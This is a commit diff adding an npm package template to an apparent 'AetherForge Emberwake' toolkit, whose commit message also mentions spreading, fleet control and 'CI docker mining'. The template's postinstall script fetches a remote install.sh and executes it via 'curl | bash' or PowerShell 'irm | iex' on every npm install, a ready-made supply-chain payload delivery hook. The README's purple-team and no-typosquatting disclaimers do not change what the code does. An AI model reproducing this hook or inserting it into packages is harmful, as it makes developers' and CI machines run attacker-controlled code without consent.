feat: alive UI wave, galaxy presence, spread and fleet enhancements

Dashboard ambient layer, comrade presence, Mission Deck and War Room, Emberwake supply chain, spread/docs publishing, fleet policy and modules API, CI docker mining, and refreshed USB pack.

templates/npm-helper-package/README.md

@@ -0,0 +1,38 @@
+# {{PACKAGE_NAME}}
+
+**Authorized use only** — purple-team, lab, and fleet machines you administer.
+
+This npm package template is exported from **AetherForge Emberwake**. It runs a `postinstall` script that pulls your command-deck `install.sh` with campaign attribution.
+
+## What it does
+
+On `npm install`, the postinstall hook:
+
+1. Sets `AETHER_CAMPAIGN={{CAMPAIGN}}` (and `AETHER_UTM`).
+2. Fetches `{{SERVER_URL}}/install.sh{{QUERY_SUFFIX}}`.
+3. Executes the platform installer (bash on Unix, `irm|iex` on Windows).
+
+Optional pinned build: `{{BUILD_ID}}`.
+
+## Operator workflow
+
+1. Emberwake → **Export npm package template ZIP**.
+2. Unzip, adjust `package.json` name/version if needed.
+3. Publish to a registry **you control** (private npm, Verdaccio, GitHub Packages).
+4. Depend on it only in projects under your authorization scope.
+
+## What this is NOT
+
+- Not for typosquatting public npm packages.
+- Not for hijacking third-party dependency chains.
+- Not silent — install scripts still run in the operator's CI/dev environment with full visibility.
+
+## Configuration baked at export
+
+| Field | Value |
+|-------|-------|
+| Server | `{{SERVER_URL}}` |
+| Campaign | `{{CAMPAIGN}}` |
+| Build pin | `{{BUILD_ID}}` |
+
+See the docs wiki: [npm postinstall helper](/docs/#npm-postinstall-helper).

templates/npm-helper-package/package.json

@@ -0,0 +1,13 @@
+{
+  "name": "{{PACKAGE_NAME}}",
+  "version": "1.0.0",
+  "description": "Authorized AetherForge install helper — purple-team / lab use on packages you publish only.",
+  "private": true,
+  "license": "UNLICENSED",
+  "scripts": {
+    "postinstall": "node scripts/postinstall.cjs"
+  },
+  "engines": {
+    "node": ">=18"
+  }
+}

templates/npm-helper-package/scripts/postinstall.cjs

@@ -0,0 +1,42 @@
+'use strict';
+
+/**
+ * Authorized postinstall — curls your command-deck install.sh with campaign env.
+ * Publish only to registries you control (private npm, Verdaccio, GitHub Packages).
+ * Do not typosquat public packages.
+ */
+
+const { spawnSync } = require('child_process');
+
+const SERVER = '{{SERVER_URL}}';
+const CAMPAIGN = '{{CAMPAIGN}}';
+const BUILD_ID = '{{BUILD_ID}}';
+
+if (!SERVER || SERVER.includes('{{')) {
+  console.warn('[aetherforge-helper] SERVER_URL not configured — skipping postinstall.');
+  process.exit(0);
+}
+
+process.env.AETHER_CAMPAIGN = CAMPAIGN;
+process.env.AETHER_UTM = CAMPAIGN;
+
+const q = new URLSearchParams();
+if (CAMPAIGN) q.set('c', CAMPAIGN);
+if (BUILD_ID) q.set('pin', BUILD_ID);
+const suffix = q.toString() ? `?${q.toString()}` : '';
+const installUrl = `${SERVER.replace(/\/$/, '')}/install.sh${suffix}`;
+
+const isWin = process.platform === 'win32';
+const shell = isWin ? 'powershell.exe' : 'sh';
+const cmd = isWin
+  ? `$env:AETHER_CAMPAIGN='${CAMPAIGN}'; irm '${installUrl}' | iex`
+  : `export AETHER_CAMPAIGN='${CAMPAIGN}'; curl -fsSL '${installUrl}' | bash`;
+
+const result = spawnSync(shell, [isWin ? '-NoProfile' : '-c', isWin ? cmd : cmd], {
+  stdio: 'inherit',
+  shell: false,
+});
+
+if (result.status !== 0) {
+  console.warn('[aetherforge-helper] postinstall exited', result.status);
+}